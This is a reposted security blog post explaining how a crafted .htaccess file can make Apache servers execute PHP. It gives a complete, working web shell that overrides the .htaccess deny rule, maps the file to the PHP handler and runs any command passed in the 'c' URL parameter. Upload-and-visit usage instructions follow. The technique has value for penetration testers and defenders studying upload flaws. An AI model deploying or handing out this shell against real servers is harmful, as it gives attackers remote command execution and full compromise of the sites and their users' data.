ATTACKING WEBSERVERS VIA .HTACCESS

By Eldar Marcussen
OP: http://www.justanotherhacker.com/2011/05/htaccess-based-attacks.html

A while back I was testing a CMS that had a curious feature, all uploaded files were placed in their own directory. This was not a security enhancement as the application allowed php files to be uploaded. However I coudn't help ask, what if php uploads had been restricted? The answer was .htaccess files. Using SetHandler in a .htaccess file is well known, but does not lead to remote code execution. So after some thinking I put together some self contained .htaccess web shells. I wrote both a php and a server side include shells, but other options can easily be added (jsp, mod_perl, etc).

This works by first diverting the default apache .htaccess access restriction from within the .htaccess file so we can access it as a url. Next we reconfigure the .htaccess extension to be treated as a dynamic content script and finally we have our payload. The attack works because the .htaccess parsing and processing for apache configuration directives occur before the .htaccess file is processed as a web request. There is a relatively small gotcha, the payload has to be commented out with a # at the start so it doesn't get interpreted by apache and likewise, the script interpreter must ignore the apache directives. PHP lends itself well to this as any content not within the <?php ?> tags are presented as is.

```
01 # Self contained .htaccess web shell - Part of the htshell project
02 # Written by Wireghoul - http://www.justanotherhacker.com
03
04 # Override default deny rule to make .htaccess file accessible over web
05 <Files ~ "^\.ht">
06 Order allow,deny
07 Allow from all
08 </Files>
09
10 # Make .htaccess file be interpreted as php file. This occur after apache has interpreted
11 # the apache directoves from the .htaccess file
12 AddType application/x-httpd-php .htaccess
13
14 ###### SHELL ###### <?php echo "\n";passthru($_GET['c']." 2>&1"); ?>###### LLEHS ######
```

Simply upload the preferred shell as a .htaccess file and then visit the .htaccess file via the url http://domain/path/.htaccess?c=command for remote code execution. The collection of attack files are collectively accessible from my github htshells repository.